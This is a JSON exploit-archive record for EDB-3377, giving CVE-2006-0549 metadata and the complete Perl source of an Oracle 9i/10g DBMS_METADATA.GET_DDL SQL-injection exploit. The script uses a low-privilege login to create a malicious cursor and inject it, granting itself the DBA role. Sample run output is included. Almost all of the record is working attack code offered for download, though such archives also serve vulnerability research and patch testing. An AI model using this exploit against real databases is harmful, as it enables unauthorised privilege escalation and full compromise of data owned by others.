{"exploit":{"id":"EDB-3377","name":"Oracle 9i/10g DBMS_METADATA.GET_DDL - SQL Injection (SQLi)","description":"Oracle 9i/10g DBMS_METADATA.GET_DDL - SQL Injection (SQLi)","cves":["CVE-2006-0549"],"author":"bunker","published":"2007-02-26","platform":"multiple","type":"remote","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3377","path":"exploits/multiple/remote/3377.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3377.pl","vulnerabilities":[{"id":"CVE-2006-0549","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in the SYS.DBMS_METADATA_UTIL package in Oracle Database 10g, and possibly earlier versions, might allow remote attackers to execute arbitrary SQL commands via unknown vectors. NOTE: due to the lack of relevant details from the Oracle advisory, a separate CVE is being created since it cannot be conclusively proven that this issue has been addressed by Oracle. It is possible that this is the same issue as Oracle Vuln# DB05 from the January 2006 CPU, in which case this would be subsumed by CVE-2006-0260. However, there are some inconsistencies that make this unclear, and there is also a possibility that this is related to DB06, which is subsumed by CVE-2006-0259.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-0549","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-0549"},"updatedAt":"2024-08-07T16:41:28.393Z","retrievedAt":"2026-11-26T20:19:05.524Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3377.png?v=2","url":"https://exploitbin.com/exploits/EDB-3377","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3377/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3377/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#\n# Remote Oracle DBMS_METADATA.GET_DDL exploit (9i/10g)\n#  - Version 2 - New \"evil cursor injection\" tip!\n#  - No \"create procedure\" privileg needed!\n#  - See: http://www.databasesecurity.com/ (Cursor Injection)\n#\n# Grant or revoke dba permission to unprivileged user\n#\n# Tested on \"Oracle Database 10g Enterprise Edition Release 10.1.0.3.0\"\n#\n#   REF:    https://www.securityfocus.com/bid/16287\n#\n#   AUTHOR: Andrea \"bunker\" Purificato\n#           http://rawlab.mindcreations.com\n#\n#   DATE:   Copyright 2007 - Fri Feb 26 12:32:55 CET 2007\n#\n# Oracle InstantClient (basic + sdk) required for DBD::Oracle\n#\n# bunker@fin:~$ perl dbms_meta_get_ddlV2.pl -h localhost -s test -u bunker -p **** -r\n#  [-] Wait...\n#  [-] Revoking DBA from BUNKER...\n#  DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement \"REVOKE DBA FROM BUNKER\"] at dbms_meta_get_ddlV2.pl line 69.\n#  [-] Done!\n#\n# bunker@fin:~$ perl dbms_meta_get_ddlV2.pl -h localhost -s test -u bunker -p **** -g\n#  [-] Wait...\n#  [-] Creating evil cursor...\n#  Cursor: 2\n#  [-] Go ...(don't worry about errors)!\n#  DBD::Oracle::st execute failed: ORA-31600: invalid input value '||dbms_sql.execute(2)||' for parameter OBJECT_TYPE in function GET_DDL\n#  ORA-06512: at \"SYS.DBMS_METADATA\", line 2576\n#  ORA-06512: at \"SYS.DBMS_METADATA\", line 2627\n#  ORA-06512: at \"SYS.DBMS_METADATA\", line 4220\n#  ORA-06512: at line 5 (DBD ERROR: OCIStmtExecute) [for Statement \"\n#  DECLARE\n#   R CLOB;\n#  BEGIN\n#   R := SYS.DBMS_METADATA.GET_DDL('''||dbms_sql.execute(2)||''','');\n#  END;\n#  \"] at dbms_meta_get_ddlV2.pl line 101.\n#  [-] YOU GOT THE POWAH!!\n#\n# bunker@fin:~$ perl dbms_meta_get_ddlV2.pl -h localhost -s test -u bunker -p **** -r\n#  [-] Wait...\n#  [-] Revoking DBA from BUNKER...\n#  [-] Done!\n#\n\nuse warnings;\nuse strict;\nuse DBI;\nuse Getopt::Std;\nuse vars qw/ %opt /;\n\nsub usage {\n    print <<\"USAGE\";\n\nSyntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]\n\nOptions:\n     -h     <host>     target server address\n     -s     <sid>      target sid name\n     -u     <user>     user\n     -p     <passwd>   password\n\n     -g|-r             (g)rant dba to user | (r)evoke dba from user\n    [-P     <port>     Oracle port]\n\nUSAGE\n    exit 0\n}\n\nmy $opt_string = 'h:s:u:p:grP:';\ngetopts($opt_string, \\%opt) or &usage;\n&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );\n&usage if ( !$opt{g} and !$opt{r} );\nmy $user = uc $opt{u};\n\nmy $dbh = undef;\nif ($opt{P}) {\n    $dbh = DBI->connect(\"dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}\", $opt{u}, $opt{p}) or die;\n} else {\n    $dbh = DBI->connect(\"dbi:Oracle:host=$opt{h};sid=$opt{s}\", $opt{u}, $opt{p}) or die;\n}\n\nmy $sqlcmd = \"GRANT DBA TO $user\";\nprint \"[-] Wait...\\n\";\n$dbh->func( 1000000, 'dbms_output_enable' );\n\n\nif ($opt{r}) {\n    print \"[-] Revoking DBA from $user...\\n\";\n    $sqlcmd = \"REVOKE DBA FROM $user\";\n    $dbh->do( $sqlcmd );\n    print \"[-] Done!\\n\";\n    $dbh->disconnect;\n    exit;\n}\n\nprint \"[-] Creating evil cursor...\\n\";\nmy $sth = $dbh->prepare(qq{\nDECLARE\nMYC NUMBER;\nBEGIN\n  MYC := DBMS_SQL.OPEN_CURSOR;\n  DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''$sqlcmd'';commit;end;',0);\n  DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);\nEND;\n} );\n$sth->execute;\nmy $cursor = undef;\nwhile (my $line = $dbh->func( 'dbms_output_get' )) {\n    print \"$line\\n\";\n    if ($line =~ /^Cursor: (\\d)/) {$cursor = $1;}\n}\n$sth->finish;\n\nprint \"[-] Go ...(don't worry about errors)!\\n\";\n$sth = $dbh->prepare(qq{\nDECLARE\n R CLOB;\nBEGIN\n R := SYS.DBMS_METADATA.GET_DDL('''||dbms_sql.execute($cursor)||''','');\nEND;\n});\n$sth->execute;\n$sth->finish;\nprint \"[-] YOU GOT THE POWAH!!\\n\";\n$dbh->disconnect;\nexit;\n\n# milw0rm.com [2007-02-26]","sha256":"5990d9e0c9508f430630c844fdd79a8348be25ec003afee7d50eb21b0e9250d8","bytes":3749,"fetchedAt":"2026-11-26T23:08:23.333Z","encoding":"utf-8 (display only; download retains original bytes)"}